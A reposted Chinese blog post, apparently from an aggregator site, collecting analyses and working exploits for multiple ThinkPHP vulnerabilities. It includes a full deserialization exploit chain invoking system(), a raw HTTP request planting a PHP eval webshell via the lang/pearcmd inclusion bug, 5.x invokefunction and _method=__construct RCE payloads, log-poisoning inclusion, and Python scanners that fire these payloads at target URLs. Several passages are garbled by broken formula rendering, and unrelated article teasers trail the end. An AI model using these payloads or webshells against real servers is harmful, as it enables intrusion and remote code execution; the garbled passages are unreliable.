Thinkphp漏洞详解合集

news2024/11/19 7:50:14

文章目录

  • Thinkphp6.0.12LTS反序列化漏洞
    • 环境
    • 漏洞分析
  • thinkphp lang命令执行
    • 环境
    • 影响版本
    • 漏洞分析
    • 漏洞复现
  • CNVD-2018-24942(t5RCE)
    • 环境
    • 影响版本
    • 漏洞分析
    • 漏洞复现
  • Thinkphp3.2.x命令执行
    • 环境
    • 漏洞分析
    • 漏洞复现
  • thinkphp-2x-rce
    • 漏洞环境
    • 影响版本
    • 漏洞分析
  • Thinkphp5.0.23变量覆盖RCE
    • 漏洞环境
    • 影响版本
    • 漏洞分析
    • 漏洞复现
  • thinkphp6.0.0任意文件写入
    • 漏洞环境
    • 影响版本
    • 漏洞分析
    • 漏洞复现
  • 总结


Thinkphp6.0.12LTS反序列化漏洞

环境

Thinkphp6.0.12LTS
PHP7.4.3

漏洞分析

  1. 此次分析直接拿[CISCN 2022初赛]ezpop例题进行整条触发链的还原,漏洞的起点在__destruct函数中的$this->save()函数,只需this->lazySave为True即可调用save方法
    file

  2. 跟进save()方法,漏洞的触发方法为updateData(),这里需要绕过两个点,分别是 t h i s − > i s E m p t y 不能为 T r u e ,然后 this->isEmpty不能为True,然后 this>isEmpty不能为True,然后this->exists要为True
    file

  3. 跟进isEmpty()方法查看,发现其用于判断data数据是否为空,传入data数组即可。
    file

  4. 进入updateData()方法,漏洞的方法在checkAllowFields()函数,要绕过trigger(‘BeforeUpdate’)不等于false,进入trigger方法可以看到只要this->withEvent不为空,则返回的一定是True。

file

file

  1. 一直进入checkAllowFields()方法,会看到这里调用了db()方法,继续跟进

file

  1. 跟进db()方法后可以看到当table不为空,会将table和suffix进行拼接,并且调用table()方法进行调用,这里字符串拼接操作可以触发某个类的_toString()方法,定位到了vendor\topthink\think-orm\src\model\concern\Conversion.php中的_toString()方法,类中的toString()方法调用了toJson()方法,而Json中对toArray()进行了Json编码,跟进toArray()方法。

file

  1. 看到toArray()方法中通过merge将data和relation合并,然后遍历了 d a t a 数组,最后执行 g e t A t t r ( ) 方法,而 data数组,最后执行getAttr()方法,而 data数组,最后执行getAttr()方法,而data是我们可控的,因此getAttr()参数也就可控制,跟进getAttr()方法
    file

  2. getAttr()方法中调用了getValue()方法, n a m e 和 name和 namevalue都可控。
    file

  3. 进入getValue()方法,看到getJsonValue()中传入的参数都可控制,需要过掉withAttr方法,而 f i e l d N a m e 返回的就是 fieldName返回的就是 fieldName返回的就是name,这里 t h i s − > j s o n 要为数组,并且 this->json要为数组,并且 this>json要为数组,并且name要在$json中。
    file

  4. 跟进getJsonValue()方法,可以看到变量覆盖了,首先遍历了 t h i s − > w i t h A t t r [ this->withAttr[ this>withAttr[name],因此, t h i s − > w i t h A t t r [ this->withAttr[ this>withAttr[name]需要是一个数组,并且数组内的值要为命令执行函数,然后 v a l u e 也必须是一个数组,最后通过 value也必须是一个数组,最后通过 value也必须是一个数组,最后通过value[dir]=system(dir, v a l u e ) 这样的形式导致命令执行成功 , 前提是 value)这样的形式导致命令执行成功,前提是 value)这样的形式导致命令执行成功,前提是this->jsonAssoc为True.

file

  1. 整条反序列化链的触发为:
    file

  2. 编写Exp脚本,首先可以需要lazySave为True使其进入save()方法,然后传入 d a t a 数组使得 i s E m p t y ( ) 值为 f a l s e ,再让 data数组使得isEmpty()值为false,再让 data数组使得isEmpty()值为false,再让this->withEvent = false使trigger()返回为true,再让$this->exists为True进入updateData()方法。

  3. 在进入updateData()方法进行字符串拼接的时候,需要新创建一个Conversion类,但是Conversion类并不是实例化类,所以需要找到谁利用的这个类。
    file

  4. 可以发现Model类使用了Conversion类,但是Model是抽象类,就继续找谁使用了Model类,有很多类都使用了Model类,像Pivot、Collection等等,这里看师傅都用的是Pivot类。
    file

  5. 因此剩下的exp编写就让 t h i s − > t a b l e 为 P i v o t 类,触发 C o n v e r s i o n 的 _ t o S t r i n g ( ) 方法,设置 this->table为Pivot类,触发Conversion的\__toString()方法,设置 this>tablePivot类,触发Conversion_toString()方法,设置this->json为数组,从而使其进入getJsonValue()方法,进入getJsonValue()方法后令$this->jsonAssoc为True触发RCE。

完整的exp为:

<?php

namespace think {
    abstract class Model
    {
        private $lazySave = false;
        private $data = [];
        private $exists = false;
        protected $table;
        private $withAttr = [];
        protected $json = [];
        protected $jsonAssoc = false;
        function __construct($obj = '')
        {
            $this->lazySave = True;
            $this->data = ['aiwin' => ['dir']];
            $this->exists = True;
            $this->table = $obj;
            $this->withAttr = ['aiwin' => ['system']];
            $this->json = ['aiwin', ['aiwin']];
            $this->jsonAssoc = True;
        }
    }
}

namespace think\model {

    use think\Model;

    class Pivot extends Model
    {
    }
}

namespace {
    echo (urlencode(serialize(new think\model\Pivot(new think\model\Pivot()))));
}


file

thinkphp lang命令执行

环境

Thinkphp6.0.12LTS
PHP7.4.27

影响版本

6.0.1 <= ThinkPHP <= 6.0.13
ThinkPHP 5.0.x
ThinkPHP 5.1.x

漏洞分析

漏洞建立在目录遍历和文件包含之上,利用pearcmd的tricks即可为攻击者实施远程代码攻击从而实现RCE,由于thinkphp6.0.13版本之前存在一处本地文件包含漏洞,可以通过lang参数包含任意PHP文件,当此漏洞与register_argc_argv且安装了pcel/pear的环境下配合时,就会导致RCE。

当thinkphp设置了多语言模式后,会通过detect()函数检测语言,会按照url、cookie或浏览器获取语言设置,此时payload被赋值给为参数$langSet

file

然后回到setLangSet($langSet)设置了语言后,回到loadLangPack函数,loadLangPack函数会执行switchLangSet()函数转换加载语言包,而switchLangSet()函数会跑到load()函数中。

file

file

最后程序会走到load()函数,函数的参数由目录和langset参数拼接构造,并且没有对传入的参数进行过滤和限制,造成了文件包含漏洞。
file

file

至于pearcmd是什么,可参考本人曾经文章:pearcmd记录

漏洞复现

通过pearcmd的trick用法直接将phpinfo()写入到hello.php中,这里的lang参数可以写到Cookie或其它变量中,命名是think-lang。
file

漏洞复现成功
file

file

这里复现了很久,一直都能看到pearcmd被写入成功了,但是却不能执行里面php语句,后来找啊找,发现原因好像是在burpsuite中<、>等符号被url编码了,然后不行,记得这里不能够进行url编码,否则不成功,漏洞修复后主要是对lang参数进行了判断过滤。

GET /public/index.php?+config-create+/&lang=../../../../../../../../usr/local/lib/php/pearcmd&/<?=@eval($_POST['aiwin']);?>+/var/www/html/shell.php HTTP/1.1
Host: 120.79.29.170:49158
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:83.0) Gecko/20100101 Firefox/83.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: wp-settings-time-1=1678102638; wp-settings-1=libraryContent%3Dbrowse%26posts_list_mode%3Dlist; csrftoken=A0Vz522jDmBu7sJHbuhEe8DOJ8UizgNw2WDeeCiedNWse0LaAtwQWuOY760mXHv2; think_lang=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fusr%2Flocal%2Flib%2Fphp%2Fpearcmd.php
Upgrade-Insecure-Requests: 1


CNVD-2018-24942(t5RCE)

环境

ThinkPHP 5.1.30
oho 7.2.12

影响版本

ThinkPHP 5.0.5-5.0.22
5.1.0-5.1.30

漏洞分析

  1. 默认清空下,安装的ThinkPHP没有开启强制路由选项,默认开启的是路由兼容选项,因为没有开启强制路由,因此可以使用路由兼容参数s来调用任意的控制器,从而达到RCE的效果。
    file

  2. 我们拿index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=dir进行调试看整个流程是如何导致命令执行的。

  3. 首先在路径请求时,thinkphp会先进行模块初始化,即先调用自动加载函数autoload加载基础功能后实例化app类,调用app类中的run()方法完成整一个流程,这其中包括初始化应用,缓存检查,模块和控制器绑定,路由检测等操作,最后通过Response类的send()方法将数据发送到客户端。

file

  1. 而在thinkphp中可以通过给类库正确定义的命名空间,当路径和文件目录一致的时候就可以进行类的自动加载,当我们传入这样的一个POC,程序首先来到Module类的init()函数获取module的信息。
    file

  2. 在获取到Module等各类信息后,会进入if判断,由于 b i n d 自动为空,会进入到第二个 i f 使得 bind自动为空,会进入到第二个if使得 bind自动为空,会进入到第二个if使得available变为true,只要$module不再黑名单中,并且目录正确即能进入。
    file

  3. $available变为true后,继续往下走,会对模块进行初始化,初始化会进入init()函数
    file

  4. 进入init()函数后经过一系列的if判断,判断是否加载初始化文件,扩展文件,公共文件等,都不符合,最后往下走,来到了控制器和操作名的转换,此时控制器变成了think\containerm=,操作名变成了invokefunction。
    file

  5. 接着进入了controller控制器,调用了parseModuleAndClass模块和类的对应解析方法
    file

  6. 在parseModuleAndClass解析方法中,判断name是否有\,有则请求对应的模块和类进行返回。
    file

  7. 最终经过exec方法,经过dispatch解析后,来到了RCE的执行方法invokeFunction(),call_user_array_function()危险函数执行了数据后,通过response返回。
    file

从整个过程可以看到invokeFunction()在container.php文件中,但是Container并不再模块内,但是在pareseModuleAndClass()方法中,当$name以反斜线\开始时会直接将其作为类的命名空间路径,导致了能够以命名空间的特性去自动加载类即实例化了Container类,最后调用了类方法中的危险函数。

漏洞复现

file

由于能够调用的类方法挺多的,所以可以写一个poc进行检测。

import requests


def poc(url):
    payload = ['', r"/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1",
               r"/?s=index/\think\Request/input&filter=phpinfo&data=1",
               r"/?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1",
               r"/?s=index/\think\template\driver\file/write&cacheFile=shell.php&content=%3C?php%20phpinfo();?%3E",
               r"/?s=index/\think\view\driver\Php/display&content=%3C?php%20phpinfo();?%3E",
               r'/?s=/index/\\think\\request/cache&key=1|phpinfo']

    for i in range(1, 6):
        url += payload[i]
        try:
            r = requests.get(url, verify=False)
            if 'PHP Version' in r.text:
                return i
            else:
                return False
        except:
            print("连接出现错误")
            return False

if __name__ == '__main__':
    url=input("输入要检测的url:")
    i = poc(url)
    if i:
        print(f"{url}存在漏洞")


Thinkphp3.2.x命令执行

环境

thinkphp 3.2
php 5.6.30

##影响版本
thinkphp3.2.x

漏洞分析

业务代码中模板赋值方法assign的第一个参数可控,则可导致模板文件路径变量被覆盖为携带攻击代码的文件路径,造成任意文件包含,执行任意代码。

  1. assign函数中的 v a l u e 可控,即我们 value可控,即我们 value可控,即我们value[_filename]
    file

  2. 经过assign函数后, t h i s − t V a r 通过 a r r a y m e r g e ( ) 合并函数赋值给了 this-tVar通过array_merge()合并函数赋值给了 thistVar通过arraymerge()合并函数赋值给了this-tVar
    file

  3. 最后再进入display函数,display函数通过fetch解析获取模板内容,跟进。
    file

  4. fetch()函数一直往下走,$param给赋值成了数组,并传入到了listen()函数中
    file

  5. 跟进listen()函数,listen经过一系列处理,得到$name为Behavior类,进入到exec()函数中
    file

  6. 跟进exec函数,exec函数实例化了Behavior类,并且将tag赋值为run,执行Behavior类中的run()方法
    file

  7. run()方法中经过处理, e n g i n e 引擎为 t h i n k ,经过处理后进入到了 e l s e 中,继续进入模板函数的 f e t c h ( ) 方法,此时 engine引擎为think,经过处理后进入到了else中,继续进入模板函数的fetch()方法,此时 engine引擎为think,经过处理后进入到了else中,继续进入模板函数的fetch()方法,此时_data[var]会包含的日志名称,prefix为空

file

  1. 继续跟进,fetch()方法进入到了Storage的load()方法中,$this->tVar为日志文件的路径数组,跟进load()方法,先调用了__callstatic()方法经过call_user_func_array()后进入到了File类的load()方法中
    file

  2. File类的load()方法将$vars进行覆写后,将其包含,导致了日志文件被包含
    file

漏洞复现

file

file

这里要注意不能进行url编码,否则写入到日志文件中是不会解码的,这样即使文件包含了,代码也不会执行。

简单poc:

import datetime
import urllib.request
import requests


def poc(url):
    headers = {
        'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:83.0) Gecko/20100101 Firefox/83.0'
    }
    date = str(datetime.date.today())
    date = date.split('-')
    date = date[0][2:4] + '_' + date[1] + '_' + date[2]
    write_log = '?m=--><?=phpinfo();?>'
    log_url = f'?m=Home&c=Index&a=index&value[_filename]=./Application/Runtime/Logs/Common/{date}.log'
    try:
        data = urllib.request.urlopen(url+write_log)
    except:
        pass
    try:
        resp = requests.get(url + log_url, headers=headers, verify=False)
        if 'PHP Version' in resp.text:
            return True
    except:
        print("连接出现错误")
        return False


if __name__ == '__main__':
    url = input("输入要检测的url:")
    if poc(url):
        print(f"{url}存在漏洞")

thinkphp-2x-rce

漏洞环境

thinkphp 2.x
php 5.5.38

影响版本

Thinkphp 2.x的版本

漏洞分析

ThinkPHP 2.x版本中,使用preg_replace的/e模式匹配路由,导致用户的输入参数被插入双引号中执行,造成任意代码执行漏洞。

file

漏洞代码如下:

// 分析PATHINFO信息
        self::getPathInfo();

        if(!self::routerCheck()){   // 检测路由规则 如果没有则按默认规则调度URL
            $paths = explode($depr,trim($_SERVER['PATH_INFO'],'/'));
            $var  =  array();
            if (C('APP_GROUP_LIST') && !isset($_GET[C('VAR_GROUP')])){
                $var[C('VAR_GROUP')] = in_array(strtolower($paths[0]),explode(',',strtolower(C('APP_GROUP_LIST'))))? array_shift($paths) : '';
                if(C('APP_GROUP_DENY') && in_array(strtolower($var[C('VAR_GROUP')]),explode(',',strtolower(C('APP_GROUP_DENY'))))) {
                    // 禁止直接访问分组
                    exit;
                }
            }
            if(!isset($_GET[C('VAR_MODULE')])) {// 还没有定义模块名称
                $var[C('VAR_MODULE')]  =   array_shift($paths);
            }
            $var[C('VAR_ACTION')]  =   array_shift($paths);
            // 解析剩余的URL参数
            $res = preg_replace('@(\w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']="\\2";', implode($depr,$paths));
            $_GET   =  array_merge($var,$_GET);
        }


关键看正则替换哪里,使用了/e参数,这里作者的本意应该是将将这么一对一对的参数/值的形式的url写入到 v a r [ var[ var[key] = $value的数组中,但是这里在替换的时候使用了双引号包裹,在php中,双引号里面如果包含有变量,php解释器会将其替换为变量解释后的结果;单引号中的变量不会被处理。

file

可以看到在/e匹配的时候,数组 v a r 的 k e y 和 v a l u e 先换成了 k e y = 1 , v a l u e 为 2 ,随后就将 var的key和value先换成了key=1,value 为2,随后就将 varkeyvalue先换成了key=1value2,随后就将{phpverison()}作为了key[3],而 p h p v e r s i o n ( ) 等价于 {phpversion()}等价于 phpversion()等价于phpversion()被执行了。

##漏洞复现

file

/3/@eval( P O S T [ 1 ] ) 匹配到了正则表达式,会用第二个参数去进行替换,变成了 _POST[1])匹配到了正则表达式,会用第二个参数去进行替换,变成了 POST[1])匹配到了正则表达式,会用第二个参数去进行替换,变成了var[3]="KaTeX parse error: Expected '}', got 'EOF' at end of input: {@eval(_POST[1])}"导致命令执行

Thinkphp5.0.23变量覆盖RCE

漏洞环境

thinkphp 5.0.20
php 7.4.3

影响版本

thinkphp5.0~thinkphp5.0.23

漏洞分析

由于ThinkPHP 底层没有对控制器名进行很好的合法性校验,导致在未开启强制路由的情况下,用户可以调用任意类的任意方法,最终导致远程代码执行漏洞的产生。

http://xxxx/index.php?s=captcha
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=whoami

  1. 程序开始时,先会进行routerCheck()路由检查,此时$request已经有请求的全部信息
    file

  2. 跟进check()函数,此时会通过method()方法获取请求的方式
    file

  3. 跟进method方法后,可以看到通过get()方法获取var_method的值,而vat_method就是传入的_method,因此$this-method取出了__construct,进去了request类的构建函数
    file

  4. 继续跟进构建函数,这里通过foreach循环遍历并对 n a m e 进行了覆盖, name进行了覆盖, name进行了覆盖,name最终的值是REQUEST_METHOD的whoami,最后将$this->method=get返回。
    file

  5. 一直往下走,经过dispatch()函数调度后,来到了exec()函数
    file

  6. 跟进exec()函数,首先进入了switch()判断$dispatch[‘type’]的值,这里为method,进入了method的case,随后就进入了param()方法
    file

  7. 跟进param()方法,它将url和参数合并后,就进入了input()函数
    file

  8. 跟进input()函数,input()函数将 n a m e 遍历后赋值给了 name遍历后赋值给了 name遍历后赋值给了data, d a t a 变为了 w h o a m i ,随后通过 g e t F i l t e r ( ) , 将 data变为了whoami,随后通过getFilter(),将 data变为了whoami,随后通过getFilter(),filter赋值为了system
    file
    file

  9. 最后函数进入了filterValue()中,经过call_user_func()执行了system(‘whoami’),也就是前面被变量覆盖的值
    file

漏洞复现

file

poc:

import requests


def poc(url, func="phpinfo"):
    full_url = f"{url}/index.php?s=captcha"
    headers = {"Cache-Control": "max-age=0", "Upgrade-Insecure-Requests": "1",
               "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36",
               "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9",
               "Accept-Encoding": "gzip, deflate", "Accept-Language": "zh-CN,zh;q=0.9,ja;q=0.8", "Connection": "close",
               "Content-Type": "application/x-www-form-urlencoded"}
    data = {"_method": "__construct", "filter[]": f"{func}", "method": "get", "server[REQUEST_METHOD]": "1"}
    try:
        response = requests.post(full_url, headers=headers, data=data, allow_redirects=False, verify=False, timeout=5)
        if response.status_code == 200 and "PHP Version" in response.text:
            print(f"[+]{url}存在远程代码执行漏洞")
        else:
            print(f"[-]{url}不存在远程代码执行漏洞")
    except Exception:
        print(f"[-]{url}请求失败")


if __name__ == '__main__':
    url=str(input("输入要检测的url:"))
    poc(url)

thinkphp6.0.0任意文件写入

漏洞环境

thinkphp 6.0.0
php 7.4.3

影响版本

thinkphp6.0.0~thinkphp6.0.1

漏洞分析

漏洞分析

漏洞复现

file

file

总结

因为对thinkphp也不是很熟悉,没有系统的学过,所以整条链什么的调试下来可能并不是太清晰,不过暂时先这么记录着,以后还会继续补充添加。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/562920.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

人机交互软件工程视角 第3-11章部分课后习题答案

4. 对于用于帮助儿童之间进行交流和合作的移动设备&#xff0c; 核心可用性目标&#xff1a; 简单易用性&#xff1a;移动设备应该具备简单直观的界面和操作方式&#xff0c;以便儿童能够轻松理解和使用。 可靠性&#xff1a;设备应该稳定运行&#xff0c;并且提供可靠的通…

什么是智能制造?制造企业该如何发展?

智能制造是落实我国制造强国战略的重要举措&#xff0c;加快推进智能制造&#xff0c;是加速我国工业化和信息化深度融合、推动制造业供给侧结构性改革的重要着力点&#xff0c;对重塑我国制造业竞争新优势具有重要意义。 ——摘自《中国制造 2025》 概念的提出 德勤公司(Delo…

使用 PAI-Blade 优化 Stable Diffusion 推理流程(二)

背景 上一篇中&#xff0c;我们使用了 PAI-Blade 优化了 diffusers 中 Stable Diffusion 模型。本篇&#xff0c;我们继续介绍使用 PAI-Blade 优化 LoRA 和 Controlnet 的推理流程。相关优化已经同样在 registry.cn-beijing.aliyuncs.com/blade_demo/blade_diffusion镜像中可以…

Linkage Mapper 连通性模型的构建方法详解(含实际案例分析)

✅创作者:陈书予 🎉个人主页:陈书予的个人主页 🍁陈书予的个人社区,欢迎你的加入: 陈书予的社区 🌟专栏地址: Linkage Mapper解密数字世界链接 文章目录 一、 简介1.1 连通性模型概述二、 Linkage Mapper工具箱2.1 工具箱概述2.2 安装和加载工具箱

【Android定制】BUILD_AGO_GMS = no 和 BUILD_GMS=no属性

文章目录 概要名词解释细节小结 概要 在安卓底层源码中&#xff0c;有这样的两个属性&#xff0c;这两个第一眼看上去都像是带不带谷歌&#xff0c;BUILD_AGO_GMS no和BUILD_GMSno有什么区别&#xff1f;&#xff1f; 如果带了谷歌&#xff0c;那么这个设备就差不多是国外定…

低代码平台盘点:这5款平台备受欢迎!

随着数字化转型需求的持续增长&#xff0c;企业正在寻求更高效的方式来构建定制软件。低代码平台因其能够以最少的编码需求促进更快的应用程序开发而广受欢迎。这些平台提供拖放界面、预置模板和可视化设计工具&#xff0c;使用户无需具备编程语言专业知识即可构建自定义应用程…

超详细的React路由基础使用

目录 基础路由 结构准备 封装自定义NavLink 路由的模糊匹配 嵌套路由 路由传参 声明式路由 路由传递params参数 search(也称query)参数 state传参 编程式路由导航 withRouter 演示 基础路由 单页应用程序 SPA: 整个应用只有一个完整的页面 点击页面中的链接不会刷新…

API架构的选择,RESTful、GraphQL还是gRPC

文章目录 一、RESTful1、什么是RESTful&#xff1f;2、RESTful架构的原则3、RESTful的适用场景4、RESTful的优点5、RESTful的缺点 二、GraphQL1、什么是GraphQL&#xff1f;2、GraphQL的原则3、GraphQL的优点4、GraphQL的缺点 三、gRPC1、什么是gRPC2、gRPC的应用场景3、gRPC的…

SpringBoot打包轻身方法

前言: 记得有人说过,Sb(ps:简称:SpringBoot)可以采用镜像分离进行部署打包,但是这种的话需要docker环境,由于Docker不会使用,还会在Centenos中出现各种错误,无法解决.个人菜 纯属个人意见,本次不会采用Docker 进而采用maven的插件进行打包. 1,在pom文件中加入配置以下: <bu…

队列的实现(附含三道经典例题)

&#x1f349;文章主页&#xff1a;阿博历练记 &#x1f4d6;文章专栏&#xff1a;数据结构与算法 &#x1f68d;代码仓库&#xff1a;阿博编程日记 &#x1f365;欢迎关注&#xff1a;欢迎友友们点赞收藏关注哦&#x1f339; 文章目录 &#x1f33e;前言&#x1f3ac;队列&…

HACK ME PLEASE: 1

文章目录 HACK ME PLEASE: 1实战演练一、前期准备1、相关信息 二、信息收集1、访问网站2、端口扫描2、扫描目录3、访问网站4、访问网站5、扫描目录6、访问网站7、登录MySQL数据库8、查看数据表9、查看users表的内容10、查看tblUsers表内容11、解密12、加密13、修改密码14、查询…

解决Ubuntu 22.04 程序以管理员权限运行无法播放声音

文章目录 摘要需求背景问百度问GPT最终解决方案,这篇文章的核心第一步,把root账户加入到组里面,第二步,编写一个服务文件第三步,允许这个文件第四步,启动服务第五步,修改Config文件第六步,重启电脑关键字: Qt、 pulseaudio、 管理员、 声音、 服务 摘要 这个是我…

CentOS 7.9配置SSH免密登录(无需合并authorized_keys)

场景&#xff1a;在CentOS 7.9操作系统上&#xff0c;配置SSH免密登录&#xff0c;以满足集群中应用的控制脚本能够依赖SSH来执行针对整个集群的操作。 版本&#xff1a; 操作系统&#xff1a;CentOS 7.9 1.配置SSH免密登录原因 (1)规划安装和部署的组件在运行时&#xff0…

科技云报道:ChatGPT的胜利,宣告知识图谱的消亡?

科技云报道原创。 过去10年&#xff0c;知识图谱可谓是最接近“人工智能”的概念。业内普遍认为&#xff0c;知识图谱的概念最先是由谷歌于2012年正式提出&#xff0c;主要用来支撑下一代搜索和在线广告业务。 此后&#xff0c;这项技术迅速火爆&#xff0c;被国内外多家搜索…

FasterTransformer5.0编译安装与测试

基础环境&#xff1a;centos7 cuda10.2cudnn7 显卡&#xff1a;Tesla V100 1 C编译准备 代码准备&#xff1a; git clone -b release/v5.0_tag https://github.com/NVIDIA/FasterTransformer.git mkdir -p FasterTransformer/build cd FasterTransformer/build git submodu…

2023年还有人在纠结如何学习黑客知识?

首先我谈下对黑客&网络安全的认知&#xff0c;其实最重要的是兴趣热爱&#xff0c;不同于网络安全工程师&#xff0c;他们大都是培训机构培训出来的&#xff0c;具备的基本都是防御和白帽子技能&#xff0c;他们绝大多数的人看的是工资&#xff0c;他们是为了就业而学习&am…

【国产虚拟仪器】基于AD9172/AD9176的4 通道12.6GSPS 采样率16 位DA 播放FMC JESD204B 接口子卡模块

板卡概述 FMC_XM131 是一款4 通道12.6GSPS 采样率16 位DA 播放FMC子卡模块&#xff0c;该板卡为FMC标准&#xff0c;符合VITA57.4 规范&#xff0c;可以作为一个理想的IO 模块耦合至FPGA 前端&#xff0c;16 通道的JESD204B 接口通过FMC连接器连接至FPGA 的高速串行端…

day7 - 使用几何变换让图像动起来

本期将了解图像的几何变换。几何变换是指改变图像的几何结构&#xff0c;例如大小、角度和形状等&#xff0c;让图像呈现出缩放、翻转、映射和透视的效果。 完成本期内容&#xff0c;你可以&#xff1a; 了解几何变换的定义掌握几何变换的原理和使用 若要运行案例代码&#…

【正点原子STM32连载】 第十五章 按键输入实验 摘自【正点原子】STM32F103 战舰开发指南V1.2

1&#xff09;实验平台&#xff1a;正点原子stm32f103战舰开发板V4 2&#xff09;平台购买地址&#xff1a;https://detail.tmall.com/item.htm?id609294757420 3&#xff09;全套实验源码手册视频下载地址&#xff1a; http://www.openedv.com/thread-340252-1-1.html 第十五…

Vue之MVVM模型

文章目录 前言一、简说MVVM模型二、走进MVVM总结 前言 Vue的创建者在创建Vue时没有完全遵守MVVM&#xff08;一种软件架构模式&#xff09;&#xff0c;但是Vue的设计受到了他它的启发。这也是为什么经常用vm&#xff08;ViewModel的缩写&#xff09;这个变量名表示Vue实例。 …